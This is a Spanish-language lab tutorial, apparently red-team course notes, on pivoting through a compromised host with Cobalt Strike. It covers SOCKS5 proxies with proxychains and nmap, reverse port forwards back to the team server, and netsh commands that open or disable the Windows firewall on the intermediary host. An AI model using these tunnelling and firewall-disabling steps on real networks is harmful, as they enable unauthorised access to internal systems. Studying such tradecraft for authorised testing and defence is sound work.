SOCKS and Port Forward
Un sock proxy (o SOCKS proxy) es un tipo de servidor intermediario que permite que los datos de una red se envíen a través de él para ocultar la dirección IP del usuario o redirigir el tráfico. La sigla SOCKS significa Socket Secure.
El port forward (o reenvío de puertos) es una técnica de redes que permite redirigir el tráfico de una red externa hacia una dirección y puerto específicos dentro de una red local (como una red doméstica o empresarial). Esto es útil cuando se necesita que dispositivos o servicios dentro de una red privada sean accesibles desde el exterior, por ejemplo, a través de internet.
SOCKS Proxies
Existen diferentes versiones de SOCKS, como SOCKS4 y SOCKS5, siendo SOCKS5 la más avanzada, ya que ofrece características adicionales como autenticación y soporte para UDP, lo que mejora la seguridad y la compatibilidad.
TCP / UDP
Para inicar el sock proxy ejecutamos el siguiente comando en nuestro cobalt strike.
socks 1080 socks5
[03/06 12:08:30] [+] started SOCKS5 server on: 1080
[03/06 12:08:32] [+] host called home, sent: 16 bytes
Por default el servicio socks utiliza el puerto 1080 para comunicarse. Podemos confirmar que se abrio el puerto localmente.
ss -lnpt
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 32 *:50050 *:* users:(("TeamServerImage",pid=3056,fd=3))
LISTEN 0 50 *:80 *:* users:(("TeamServerImage",pid=3056,fd=8))
LISTEN 0 128 *:1080 *:* users:(("TeamServerImage",pid=3056,fd=6))
Configuramos el archivo /etc/proxychains4.conf
de la siguiente forma:
- Descomentamos la linea
dynamic_chain
- Comentamos la linea
strict chain
- Agregramos la linea al final del archivo
socks5
...
<SNIP>
...
#
dynamic_chain
#
# Dynamic - Each connection will be done via chained proxies
# all proxies chained in the order as they appear in the list
# at least one proxy must be online to play in chain
# (dead proxies are skipped)
# otherwise EINTR is returned to the app
#
#strict_chain
#
...
<SNIP>
...
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4 127.0.0.1 9050
socks5 127.0.0.1 1080
Ahora podemos alcanzar los servicios internos que se encuentran en otros segmentos de red utilizando proxychains
.
proxychains -q nmap -sT -p 53,88,445,5985 192.168.217.128
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-06 12:16 EST
Nmap scan report for 192.168.217.128
Host is up (0.025s latency).
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
445/tcp open microsoft-ds
5985/tcp open wsman
HTTP
Tambien es posible realizar socks proxies atraves de HTTP. Utilizando la herramienta FoxyProxy para configurar el proxy.
Ahora podemos acceder al servidor web interno.
Note
Para dentener SOCKS proxy utiliza el comando socks stop
o View -> Proxy Pivots -> Stop.
Reverse Port Forward
El Remote Port Forwarding (Reenvío de Puertos Remoto) es una técnica que permite redirigir tráfico desde un servidor remoto a un dispositivo local o a otro equipo dentro de una red privada.
Si hemos comprometido un host intermediario lo podemos utilizar de tunel para que un dispositivo alcance nuestro cobalt strike o algun servicio en nuestro team server.
rportfwd 8080 192.168.147.129 5555
Desgloce de comando:
- 8080 - Puerto que abrira en la maquina intermediaria
- 192.168.147.129 - IP del Team Server
- 5555 - Puerto que abrira en el Team Server
Note
Hay que crear una regla en el firewall para el puerto que se esta utilizando en la maquina intermediaria o directemante desactivar el firewall.netsh advfirewall firewall add rule name= "Open Port 8080" dir=in action=allow protocol=TCP localport=8080
run netsh advfirewall set allprofiles state off
El funcionamiento es el siguiente:
beacon> rportfwd 8080 192.168.147.129 5555
[+] started reverse port forward on 8080 to 192.168.147.129:5555
[*] Tasked beacon to forward port 8080 to 192.168.147.129:5555
[+] host called home, sent: 10 bytes
Comprobamos que se abrio el puerto correctamente.
run netstat -anp tcp
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING
En este caso utilizamos el puerto 5555 que tiene que estar abierto en nuestro TeamServer. Para realizar una prueba rapida levantamos un web server con python.
┌──(root㉿kali)-[~/Downloads]
└─# python3 -m http.server 5555
Serving HTTP on 0.0.0.0 port 5555 (http://0.0.0.0:5555/) ...
Ahora comprobamos el acceso desde la maquina que no alcanza nuestro TeamServer directamente. Utilizando curl especificamos la IP de nuestro servidor intermediario y el puerto que abrimos (8080). Es posible acceder correctamente.
C:\Users\Administrator>curl 169.254.35.167:8080
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="beacon_x64.bin">beacon_x64.bin</a></li>
<li><a href="beacon_x64.exe">beacon_x64.exe</a></li>
<li><a href="msf.bin">msf.bin</a></li>
</ul>
<hr>
</body>
</html>
Reverse Local Port Forward
Tambien se puede realizar un local remote port forward la diferencia radica que mientras rportfwd
crear un tunel al TeamServer rportfwd_local
crea un tunel a la maquina que esta ejecutando el Cobalt Strike Client.
Para realizar la prueba creamos un servidor python en la maquina donde esta el Cobalt Strike Client.
┌──(root㉿kali)-[~/Downloads]
└─# python3 -m http.server --bind 127.0.0.1 8080
Serving HTTP on 127.0.0.1 port 8080 (http://127.0.0.1:8080/) ...
Creamos el tunel en Cobalt Strike.
rportfwd_local 8080 127.0.0.1 8080
Consultamos que el tunel es exitoso haciendo un curl desde la maquina que no alcanza nuestro servicio directamente.
C:\Users\Administrator>curl -i 169.254.35.167:8080
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.13.2
Date: Fri, 07 Mar 2025 10:21:15 GMT
Content-type: text/html; charset=utf-8
Content-Length: 426
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href=".fr-Hg5E9V/">.fr-Hg5E9V/</a></li>
<li><a href=".fr-lc296e/">.fr-lc296e/</a></li>
<li><a href="beacon_x64.bin">beacon_x64.bin</a></li>
<li><a href="beacon_x64.exe">beacon_x64.exe</a></li>
<li><a href="msf.bin">msf.bin</a></li>
</ul>
<hr>
Para deneter el servicio utilizamos los siguientes comandos respectivamente.
rportfwd stop 8080
rportfwd_local stop 8080